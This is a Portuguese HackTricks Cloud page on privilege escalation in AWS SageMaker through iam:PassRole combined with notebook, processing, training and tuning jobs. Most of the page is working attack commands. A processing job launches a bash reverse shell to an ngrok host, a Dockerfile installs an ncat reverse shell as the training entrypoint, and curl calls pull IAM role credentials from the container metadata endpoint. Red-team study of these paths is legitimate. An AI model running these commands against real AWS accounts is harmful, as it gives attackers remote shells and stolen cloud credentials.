AWS - Sagemaker Privesc
Reading time: 5 minutes
AWS - Sagemaker Privesc
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
iam:PassRole
, sagemaker:CreateNotebookInstance
, sagemaker:CreatePresignedNotebookInstanceUrl
Comece a criar um notebook com a função IAM para acessar anexada a ele:
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
A resposta deve conter um campo NotebookInstanceArn
, que conterá o ARN da nova instância de notebook criada. Podemos então usar a API create-presigned-notebook-instance-url
para gerar uma URL que podemos usar para acessar a instância de notebook assim que estiver pronta:
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Navegue até a URL com o navegador e clique em `Open JupyterLab` no canto superior direito, depois role para baixo até a aba “Launcher” e, na seção “Other”, clique no botão “Terminal”.
Agora é possível acessar as credenciais de metadados da IAM Role.
Impacto Potencial: Privesc para o papel de serviço sagemaker especificado.
sagemaker:CreatePresignedNotebookInstanceUrl
Se houver notebooks Jupyter já em execução e você puder listá-los com sagemaker:ListNotebookInstances
(ou descobri-los de qualquer outra forma). Você pode gerar uma URL para eles, acessá-los e roubar as credenciais conforme indicado na técnica anterior.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Impacto Potencial: Privesc para o papel de serviço sagemaker anexado.
sagemaker:CreateProcessingJob,iam:PassRole
Um atacante com essas permissões pode fazer sagemaker executar um processingjob com um papel sagemaker anexado a ele. O atacante pode indicar a definição do contêiner que será executado em uma instância de conta ECS gerenciada pela AWS, e roubar as credenciais do papel IAM anexado.
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>
# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds
Impacto Potencial: Privesc para o papel de serviço sagemaker especificado.
sagemaker:CreateTrainingJob
, iam:PassRole
Um atacante com essas permissões será capaz de criar um trabalho de treinamento, executando um contêiner arbitrário nele com um papel anexado. Portanto, o ataque poderá roubar as credenciais do papel.
warning
Este cenário é mais difícil de explorar do que o anterior porque você precisa gerar uma imagem Docker que enviará o rev shell ou credenciais diretamente para o atacante (você não pode indicar um comando inicial na configuração do trabalho de treinamento).
# Criar imagem docker
mkdir /tmp/rev
## Note que o trabalho de treinamento vai chamar um executável chamado "train"
## É por isso que estou colocando o rev shell em /bin/train
## Defina os valores de <YOUR-IP-OR-DOMAIN> e <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF
cd /tmp/rev
sudo docker build . -t reverseshell
# Enviar para o ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image created
aws sagemaker create-training-job \
--training-job-name privescjob \
--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \
--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \
--role-arn <role-arn> \
--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \
--stopping-condition '{"MaxRuntimeInSeconds": 600}'
#To get the creds
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
Impacto Potencial: Privesc para o papel de serviço sagemaker especificado.
sagemaker:CreateHyperParameterTuningJob
, iam:PassRole
Um atacante com essas permissões poderá (potencialmente) criar um trabalho de treinamento de hiperparâmetros, executando um contêiner arbitrário nele com um papel anexado.
Eu não explorei devido à falta de tempo, mas parece semelhante às explorações anteriores, sinta-se à vontade para enviar um PR com os detalhes da exploração.
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.